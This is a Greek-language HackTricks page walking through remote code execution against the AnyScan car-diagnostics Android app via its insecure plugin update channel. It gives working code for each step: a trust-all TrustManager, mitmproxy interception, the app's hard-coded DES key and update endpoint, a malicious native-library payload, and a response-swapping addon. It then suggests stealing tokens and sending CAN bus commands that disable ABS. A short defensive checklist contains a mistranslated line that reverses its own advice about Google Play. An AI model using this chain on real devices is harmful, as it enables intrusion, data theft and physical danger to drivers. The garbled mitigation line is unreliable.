Ανασφαλείς Μηχανισμοί Ενημέρωσης Εφαρμογών – Εκτέλεση Απομακρυσμένου Κώδικα μέσω Κακόβουλων Πρόσθετων

Reading time: 6 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Πολλές εφαρμογές Android υλοποιούν τα δικά τους κανάλια ενημέρωσης “plugin” ή “dynamic feature” αντί να χρησιμοποιούν το Google Play Store. Όταν η υλοποίηση είναι ανασφαλής, ένας επιτιθέμενος που μπορεί να παρεμποδίσει την κίνηση μπορεί να προμηθεύσει τυχαίο εγγενή κώδικα που θα φορτωθεί μέσα στη διαδικασία της εφαρμογής, οδηγώντας σε πλήρη Εκτέλεση Απομακρυσμένου Κώδικα (RCE) στη συσκευή – και σε ορισμένες περιπτώσεις σε οποιαδήποτε εξωτερική συσκευή που ελέγχεται από την εφαρμογή (αυτοκίνητα, IoT, ιατρικές συσκευές …).

Αυτή η σελίδα συνοψίζει μια αλυσίδα ευπάθειας από τον πραγματικό κόσμο που βρέθηκε στην εφαρμογή διαγνωστικών αυτοκινήτων AnyScan (v4.40.11 → 4.40.40) και γενικεύει την τεχνική ώστε να μπορείτε να ελέγξετε άλλες εφαρμογές Android και να οπλοποιήσετε τη λανθασμένη ρύθμιση κατά τη διάρκεια μιας εμπλοκής red-team.


1. Αναγνώριση Ανασφαλούς TLS TrustManager

  1. Αποσυμπιέστε το APK με το jadx / apktool και εντοπίστε το δίκτυο (OkHttp, HttpUrlConnection, Retrofit…).
  2. Αναζητήστε έναν προσαρμοσμένο TrustManager ή HostnameVerifier που εμπιστεύεται τυφλά κάθε πιστοποιητικό:
java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
  1. Αν υπάρχει, η εφαρμογή θα αποδεχτεί οποιοδήποτε πιστοποιητικό TLS → μπορείτε να εκτελέσετε έναν διαφανή MITM proxy με ένα αυτο-υπογεγραμμένο πιστοποιητικό:
bash
mitmproxy -p 8080 -s addon.py  # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator

2. Αντίστροφη Μηχανική των Μεταδεδομένων Ενημέρωσης

Στην περίπτωση του AnyScan, κάθε εκκίνηση της εφαρμογής ενεργοποιεί ένα HTTPS GET προς:

https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx

Το σώμα της απάντησης είναι ένα XML έγγραφο των οποίων οι κόμβοι <FileData> περιέχουν Base64-κωδικοποιημένο, κρυπτογραφημένο με DES-ECB JSON που περιγράφει κάθε διαθέσιμο plugin.

Τυπικά βήματα αναζήτησης:

  1. Εντοπίστε τη ρουτίνα κρυπτογράφησης (π.χ. RemoteServiceProxy) και ανακτήστε:
  • αλγόριθμο (DES / AES / RC4 …)
  • τρόπο λειτουργίας (ECB / CBC / GCM …)
  • σκληρά κωδικοποιημένο κλειδί / IV (συνήθως 56-bit DES κλειδιά ή 128-bit AES κλειδιά σε σταθερές)
  1. Επαναφέρετε τη λειτουργία σε Python για να αποκρυπτογραφήσετε / κρυπτογραφήσετε τα μεταδεδομένα:
python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode

KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan

def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))

def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()

3. Δημιουργία Κακόβουλου Πρόσθετου

  1. Επιλέξτε οποιοδήποτε νόμιμο ZIP πρόσθετο και αντικαταστήστε τη native βιβλιοθήκη με το payload σας:
c
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
bash
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
  1. Ενημερώστε τα μεταδεδομένα JSON ώστε το "FileName" : "PWNED.zip" και το "DownloadURL" να δείχνουν στον HTTP server σας.
  2. Κρυπτογραφήστε με DES + κωδικοποιήστε σε Base64 το τροποποιημένο JSON και αντιγράψτε το πίσω μέσα στο παρεμβαλλόμενο XML.

4. Παράδοση του Payload με mitmproxy

addon.py παράδειγμα που σιωπηλά αλλάζει τα αρχικά μεταδεδομένα:

python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()

def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)

Τρέξτε έναν απλό web server για να φιλοξενήσετε το κακόβουλο ZIP:

bash
python3 -m http.server 8000 --directory ./payloads

Όταν το θύμα εκκινεί την εφαρμογή, θα:

  • ανακτήσει το παραποιημένο XML μέσω του καναλιού MITM;
  • αποκρυπτογραφήσει και αναλύσει με το σκληρά κωδικοποιημένο κλειδί DES;
  • κατεβάσει το PWNED.zip → αποσυμπιέσει μέσα στην ιδιωτική αποθήκευση;
  • dlopen() το συμπεριλαμβανόμενο libscan_x64.so, εκτελώντας άμεσα τον κώδικά μας με τις άδειες της εφαρμογής (κάμερα, GPS, Bluetooth, σύστημα αρχείων, …).

Επειδή το plugin είναι αποθηκευμένο στη μνήμη, η πίσω πόρτα επιμένει μετά από επανεκκινήσεις και εκτελείται κάθε φορά που ο χρήστης επιλέγει τη σχετική δυνατότητα.

5. Ιδέες Μετά την Εκμετάλλευση

  • Κλέψτε τα session cookies, OAuth tokens ή JWTs που αποθηκεύει η εφαρμογή.
  • Ρίξτε ένα APK δεύτερης φάσης και εγκαταστήστε το σιωπηλά μέσω του pm install (η εφαρμογή έχει ήδη REQUEST_INSTALL_PACKAGES).
  • Καταχρήστε οποιοδήποτε συνδεδεμένο υλικό – στο σενάριο AnyScan μπορείτε να στείλετε αυθαίρετες εντολές OBD-II / CAN bus (ξεκλείδωμα θυρών, απενεργοποίηση ABS, κ.λπ.).

Λίστα Ελέγχου Ανίχνευσης & Μετριασμού (μπλε ομάδα)

  • ΠΟΤΕ μην αποστέλλετε μια παραγωγική έκδοση με έναν προσαρμοσμένο TrustManager/HostnameVerifier που απενεργοποιεί την επικύρωση πιστοποιητικών.
  • Μην κατεβάζετε εκτελέσιμο κώδικα από το Google Play. Αν πρέπει, υπογράψτε κάθε plugin με το ίδιο apkSigning v2 κλειδί και επαληθεύστε την υπογραφή πριν τη φόρτωση.
  • Αντικαταστήστε την αδύναμη/σκληρά κωδικοποιημένη κρυπτογράφηση με AES-GCM και ένα περιστρεφόμενο κλειδί από την πλευρά του διακομιστή.
  • Επικυρώστε την ακεραιότητα των κατεβασμένων αρχείων (υπογραφή ή τουλάχιστον SHA-256).

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks